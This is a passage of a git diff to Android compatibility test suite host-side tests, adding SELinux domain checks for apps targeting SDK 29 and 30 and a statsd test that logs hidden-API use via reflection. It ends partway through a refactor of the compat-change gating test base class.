diff --git a/hostsidetests/appcompat/compatchanges/Android.bp b/hostsidetests/appcompat/compatchanges/Android.bp
index 70d70ba..0e578ee 100644
--- a/hostsidetests/appcompat/compatchanges/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAppCompatHostTestCases",
     defaults: ["cts_defaults"],
@@ -40,3 +36,6 @@
     name: "cts-global-compat-config",
     filename: "cts_all_compat_config.xml",
 }
+
+
+
diff --git a/hostsidetests/appcompat/compatchanges/app/Android.bp b/hostsidetests/appcompat/compatchanges/app/Android.bp
index 9dde881..be40b28 100644
--- a/hostsidetests/appcompat/compatchanges/app/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/app/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHostsideCompatChangeTestsApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
index 0353cb7..d0bdf36 100644
--- a/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
+++ b/hostsidetests/appcompat/compatchanges/preInstallOverrideApps/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_static {
     name: "pre_install_override_lib",
     sdk_version: "current",
@@ -78,4 +74,4 @@
         "vts10",
         "general-tests",
     ],
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/Android.bp b/hostsidetests/appcompat/compatchanges/selinuxapp/Android.bp
new file mode 100644
index 0000000..472d554
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/Android.bp
@@ -0,0 +1,49 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library_static {
+    name: "selinux_app_empty",
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "CtsSelinuxQCompatApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["selinux_app_empty"],
+    manifest: "AndroidManifest_Q.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSelinuxRCompatApp",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    static_libs: ["selinux_app_empty"],
+    manifest: "AndroidManifest_R.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_Q.xml b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_Q.xml
new file mode 100644
index 0000000..5a6c1d3
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_Q.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.selinux_app">
+    <uses-sdk android:targetSdkVersion="29"/>
+    <application
+        android:debuggable="true">
+         <activity android:name=".Empty"
+         android:exported="true" />
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.appcompat.selinux_app" />
+
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_R.xml b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_R.xml
new file mode 100644
index 0000000..0fecd4f
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/AndroidManifest_R.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.appcompat.selinux_app">
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application
+        android:debuggable="true">
+         <activity android:name=".Empty"
+         android:exported="true" />
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.appcompat.selinux_app" />
+
+</manifest>
diff --git a/hostsidetests/appcompat/compatchanges/selinuxapp/src/com/android/cts/appcompat/selinux_app/Empty.java b/hostsidetests/appcompat/compatchanges/selinuxapp/src/com/android/cts/appcompat/selinux_app/Empty.java
new file mode 100644
index 0000000..a350bc0
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/selinuxapp/src/com/android/cts/appcompat/selinux_app/Empty.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.appcompat.selinux_app;
+
+import android.app.Activity;
+
+public class Empty extends Activity {
+
+}
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
new file mode 100644
index 0000000..1006c47
--- /dev/null
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesSelinuxTest.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appcompat;
+
+import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Tests for the {@link android.app.compat.CompatChanges} SystemApi.
+ */
+
+public class CompatChangesSelinuxTest extends CompatChangeGatingTestCase {
+
+    protected static final String Q_TEST_APK = "CtsSelinuxQCompatApp.apk";
+    protected static final String R_TEST_APK = "CtsSelinuxRCompatApp.apk";
+
+    protected static final String TEST_PKG = "com.android.cts.appcompat.selinux_app";
+
+    private static final long SELINUX_LATEST_CHANGES = 143539591L;
+    private static final long SELINUX_R_CHANGES = 168782947L;
+
+    private static final Pattern PS_ENTRY_PATTERN = Pattern.compile("^(?<label>\\S+)\\s+(?<name>\\S+)");
+
+
+    public void testTargetSdkQAppIsInQDomainByDefault() throws Exception {
+        installPackage(Q_TEST_APK, false);
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app_29");
+        } finally {
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkQAppIsInLatestDomainWithLatestOptin() throws Exception {
+        final Set<Long> enabledChanges = ImmutableSet.of(SELINUX_LATEST_CHANGES);
+        final Set<Long> disabledChanges = ImmutableSet.of();
+        final long configId = getClass().getCanonicalName().hashCode();
+
+        installPackage(Q_TEST_APK, false);
+        Thread.currentThread().sleep(100);
+        setCompatConfig(enabledChanges, disabledChanges, TEST_PKG);
+
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+
+        } finally {
+            resetCompatConfig(TEST_PKG, enabledChanges, disabledChanges);
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkQAppIsInRDomainWithROptin() throws Exception {
+        final Set<Long> enabledChanges = ImmutableSet.of(SELINUX_R_CHANGES);
+        final Set<Long> disabledChanges = ImmutableSet.of();
+
+        installPackage(Q_TEST_APK, false);
+        Thread.currentThread().sleep(100);
+        setCompatConfig(enabledChanges, disabledChanges, TEST_PKG);
+
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+            // TODO(b/168782947): Update domain if/when an R specific one is created to
+            // differentiate from untrusted_app.
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+
+        } finally {
+            resetCompatConfig(TEST_PKG, enabledChanges, disabledChanges);
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkRAppIsInRDomainByDefault() throws Exception {
+        installPackage(R_TEST_APK, false);
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+        } finally {
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    public void testTargetSdkRAppIsInLatestDomainWithLatestOptin() throws Exception {
+        final Set<Long> enabledChanges = ImmutableSet.of(SELINUX_LATEST_CHANGES);
+        final Set<Long> disabledChanges = ImmutableSet.of();
+        installPackage(R_TEST_APK, false);
+        Thread.currentThread().sleep(100);
+        setCompatConfig(enabledChanges, disabledChanges, TEST_PKG);
+
+        try {
+            startApp();
+            Map<String, String> packageToDomain = getPackageToDomain();
+            assertThat(packageToDomain).containsEntry(TEST_PKG, "untrusted_app");
+        } finally {
+            resetCompatConfig(TEST_PKG, enabledChanges, disabledChanges);
+            uninstallPackage(TEST_PKG, true);
+        }
+    }
+
+    private Map<String, String> getPackageToDomain() throws Exception {
+        Map<String, String> packageToDomain = new HashMap<>();
+        String output = getDevice().executeShellCommand("ps -e -o LABEL,NAME");
+        String[] lines = output.split("\n");
+        for (int i = 1; i < lines.length; ++i) {
+            String line = lines[i];
+            Matcher matcher = PS_ENTRY_PATTERN.matcher(line);
+            if (!matcher.matches())
+                continue;
+            String label = matcher.group("label");
+            String domain = label.split(":")[2];
+            String packageName = matcher.group("name");
+            packageToDomain.put(packageName, domain);
+        }
+        return packageToDomain;
+    }
+
+    private void startApp() throws Exception {
+        runCommand("am start -n " + TEST_PKG + "/" + TEST_PKG + ".Empty");
+        Thread.currentThread().sleep(100);
+    }
+
+
+}
diff --git a/hostsidetests/appcompat/hiddenapi/Android.bp b/hostsidetests/appcompat/hiddenapi/Android.bp
new file mode 100644
index 0000000..9c292b4
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsHostsideHiddenapiTests",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "host-libprotobuf-java-full",
+        "platformprotos",
+    ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appcompat/hiddenapi/AndroidTest.xml b/hostsidetests/appcompat/hiddenapi/AndroidTest.xml
new file mode 100644
index 0000000..6064214
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS hiddenapi host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsHostsideHiddenapiTests.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/appcompat/hiddenapi/app/Android.bp b/hostsidetests/appcompat/hiddenapi/app/Android.bp
new file mode 100644
index 0000000..34c966a
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/Android.bp
@@ -0,0 +1,28 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsHiddenApiApp",
+    defaults: ["cts_defaults"],
+    min_sdk_version: "24",
+    srcs: [
+        "src/**/*.java",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appcompat/hiddenapi/app/AndroidManifest.xml b/hostsidetests/appcompat/hiddenapi/app/AndroidManifest.xml
new file mode 100644
index 0000000..9454b60
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.compat.hiddenapi.cts"
+     android:versionCode="10">
+
+    <application android:label="@string/app_name">
+        <activity android:name=".HiddenApiUsedActivity"
+             android:exported="true"/>
+
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.server.cts.device.statsd"
+         android:label="CTS tests of android.os.statsd stats collection">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/appcompat/hiddenapi/app/res/values/strings.xml b/hostsidetests/appcompat/hiddenapi/app/res/values/strings.xml
new file mode 100644
index 0000000..833f90e
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="app_name">CTS HiddenApi App</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/appcompat/hiddenapi/app/src/android/compat/hiddenapi/cts/HiddenApiUsedActivity.java b/hostsidetests/appcompat/hiddenapi/app/src/android/compat/hiddenapi/cts/HiddenApiUsedActivity.java
new file mode 100644
index 0000000..f4bd128
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/app/src/android/compat/hiddenapi/cts/HiddenApiUsedActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.compat.hiddenapi.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import java.lang.reflect.Field;
+
+
+public class HiddenApiUsedActivity extends Activity {
+    /** Called when the activity is first created. */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        try {
+            Field field = Activity.class.getDeclaredField("mWindow");
+            field.setAccessible(true);
+            Object object = field.get(this);
+        } catch(NoSuchFieldException e) {
+        } catch(IllegalAccessException e) {
+        }
+        finish();
+    }
+
+}
\ No newline at end of file
diff --git a/hostsidetests/appcompat/hiddenapi/src/android/compat/hiddenapi/cts/HostsideStatsdAtomTests.java b/hostsidetests/appcompat/hiddenapi/src/android/compat/hiddenapi/cts/HostsideStatsdAtomTests.java
new file mode 100644
index 0000000..16df276
--- /dev/null
+++ b/hostsidetests/appcompat/hiddenapi/src/android/compat/hiddenapi/cts/HostsideStatsdAtomTests.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.compat.hiddenapi.cts;
+
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.HiddenApiUsed;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+
+import java.util.List;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+
+public class HostsideStatsdAtomTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String TEST_PKG = "android.compat.hiddenapi.cts";
+    private static final String TEST_APK = "CtsHiddenApiApp.apk";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        // Test package installed by HostsideNetworkTestCase
+        super.setUp();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        // Test package uninstalled by HostsideNetworkTestCase
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testHiddenApiUsed() throws Exception {
+        String oldRate = getDevice().executeShellCommand(
+                "device_config get app_compat hidden_api_access_statslog_sampling_rate").trim();
+
+        getDevice().executeShellCommand(
+                "device_config put app_compat hidden_api_access_statslog_sampling_rate 65536");
+
+        DeviceUtils.installTestApp(getDevice(), TEST_APK, TEST_PKG, mCtsBuild);
+
+        try {
+            final int atomTag = Atom.HIDDEN_API_USED_FIELD_NUMBER;
+
+             // Upload the config.
+            final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(TEST_PKG);
+            ConfigUtils.addEventMetricForUidAtom(config,  Atom.HIDDEN_API_USED_FIELD_NUMBER,
+                    /*uidInAttributionChain=*/false, TEST_PKG);
+            ConfigUtils.uploadConfig(getDevice(), config);
+
+            // Trigger hidden api event.
+            runActivity(getDevice(), TEST_PKG, "HiddenApiUsedActivity",
+                    /*actionKey=*/null, /*actionValue=*/null);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+            List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+            assertThat(data).hasSize(1);
+
+            HiddenApiUsed atom = data.get(0).getAtom().getHiddenApiUsed();
+
+            final int appUid = DeviceUtils.getAppUid(getDevice(), TEST_PKG);
+            assertThat(atom.getUid()).isEqualTo(appUid);
+            assertThat(atom.getAccessDenied()).isFalse();
+            assertThat(atom.getSignature())
+                .isEqualTo("Landroid/app/Activity;->mWindow:Landroid/view/Window;");
+        } finally {
+            if (!oldRate.equals("null")) {
+                getDevice().executeShellCommand(
+                        "device_config put app_compat hidden_api_access_statslog_sampling_rate "
+                        + oldRate);
+            } else {
+                getDevice().executeShellCommand(
+                        "device_config delete hidden_api_access_statslog_sampling_rate");
+            }
+            DeviceUtils.uninstallTestApp(getDevice(), TEST_PKG);
+        }
+    }
+        /**
+     * Runs an activity in a particular app.
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        runActivity(device, pkgName, activity, actionKey, actionValue,
+                AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    /**
+     * Runs an activity in a particular app for a certain period of time.
+     *
+     * @param pkgName name of package that contains the Activity
+     * @param activity name of the Activity class
+     * @param actionKey key of extra data that is passed to the Activity via an Intent
+     * @param actionValue value of extra data that is passed to the Activity via an Intent
+     * @param waitTimeMs duration that the activity runs for
+     */
+    public static void runActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue, long waitTimeMs)
+            throws Exception {
+        try (AutoCloseable a = withActivity(device, pkgName, activity, actionKey, actionValue)) {
+            Thread.sleep(waitTimeMs);
+        }
+    }
+
+    /**
+     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
+     * when closed.
+     *
+     * <p>Example usage:
+     * <pre>
+     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
+     *         doStuff();
+     *     }
+     * </pre>
+     */
+    public static AutoCloseable withActivity(ITestDevice device, String pkgName, String activity,
+            @Nullable String actionKey, @Nullable String actionValue) throws Exception {
+        String intentString;
+        if (actionKey != null && actionValue != null) {
+            intentString = actionKey + " " + actionValue;
+        } else {
+            intentString = null;
+        }
+
+        String cmd = "am start -n " + pkgName + "/." + activity;
+        if (intentString != null) {
+            cmd += " -e " + intentString;
+        }
+        device.executeShellCommand(cmd);
+
+        return () -> {
+            device.executeShellCommand("am force-stop " + pkgName);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        };
+    }
+
+}
diff --git a/hostsidetests/appcompat/host/lib/Android.bp b/hostsidetests/appcompat/host/lib/Android.bp
index 8f44487..80be793 100644
--- a/hostsidetests/appcompat/host/lib/Android.bp
+++ b/hostsidetests/appcompat/host/lib/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     name: "CompatChangeGatingTestBase",
     srcs: ["**/*.java"],
diff --git a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
index 84300a2..b4b16f5 100644
--- a/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
+++ b/hostsidetests/appcompat/host/lib/src/android/compat/cts/CompatChangeGatingTestCase.java
@@ -143,55 +143,53 @@
             Set<Long> enabledChanges, Set<Long> disabledChanges,
             Set<Long> reportedEnabledChanges, Set<Long> reportedDisabledChanges)
             throws DeviceNotAvailableException {
+
         // Set compat overrides
         setCompatConfig(enabledChanges, disabledChanges, pkgName);
-
         // Send statsd config
         final long configId = getClass().getCanonicalName().hashCode();
         createAndUploadStatsdConfig(configId, pkgName);
 
-        // Run device-side test
-        if (testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(pkgName, TEST_RUNNER,
-                getDevice().getIDevice());
-        testRunner.setMethodName(testClassName, testMethodName);
-        CollectingTestListener listener = new CollectingTestListener();
-        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
-
-        // Clear overrides.
-        resetCompatChanges(enabledChanges, pkgName);
-        resetCompatChanges(disabledChanges, pkgName);
-
-        // Clear statsd report data and remove config
-        Map<Long, Boolean> reportedChanges = getReportedChanges(configId, pkgName);
-        removeStatsdConfig(configId);
-
-        // Check that device side test occurred as expected
-        final TestRunResult result = listener.getCurrentRunResults();
-        assertWithMessage("Failed to successfully run device tests for %s: %s",
-                          result.getName(), result.getRunFailureMessage())
-                .that(result.isRunFailure()).isFalse();
-        assertWithMessage("Should run only exactly one test method!")
-                .that(result.getNumTests()).isEqualTo(1);
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device test failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
+        try {
+            // Run device-side test
+            if (testClassName.startsWith(".")) {
+                testClassName = pkgName + testClassName;
             }
-            throw new AssertionError(errorBuilder.toString());
+            RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(pkgName, TEST_RUNNER,
+                    getDevice().getIDevice());
+            testRunner.setMethodName(testClassName, testMethodName);
+            CollectingTestListener listener = new CollectingTestListener();
+            assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+
+            // Check that device side test occurred as expected
+            final TestRunResult result = listener.getCurrentRunResults();
+            assertWithMessage("Failed to successfully run device tests for %s: %s",
+                            result.getName(), result.getRunFailureMessage())
+                    .that(result.isRunFailure()).isFalse();
+            assertWithMessage("Should run only exactly one test method!")
+                    .that(result.getNumTests()).isEqualTo(1);
+            if (result.hasFailedTests()) {
+                // build a meaningful error message
+                StringBuilder errorBuilder = new StringBuilder("On-device test failed:\n");
+                for (Map.Entry<TestDescription, TestResult> resultEntry :
+                        result.getTestResults().entrySet()) {
+                    if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                        errorBuilder.append(resultEntry.getKey().toString());
+                        errorBuilder.append(":\n");
+                        errorBuilder.append(resultEntry.getValue().getStackTrace());
+                    }
+                }
+                throw new AssertionError(errorBuilder.toString());
+            }
+
+        } finally {
+            // Cleanup compat overrides
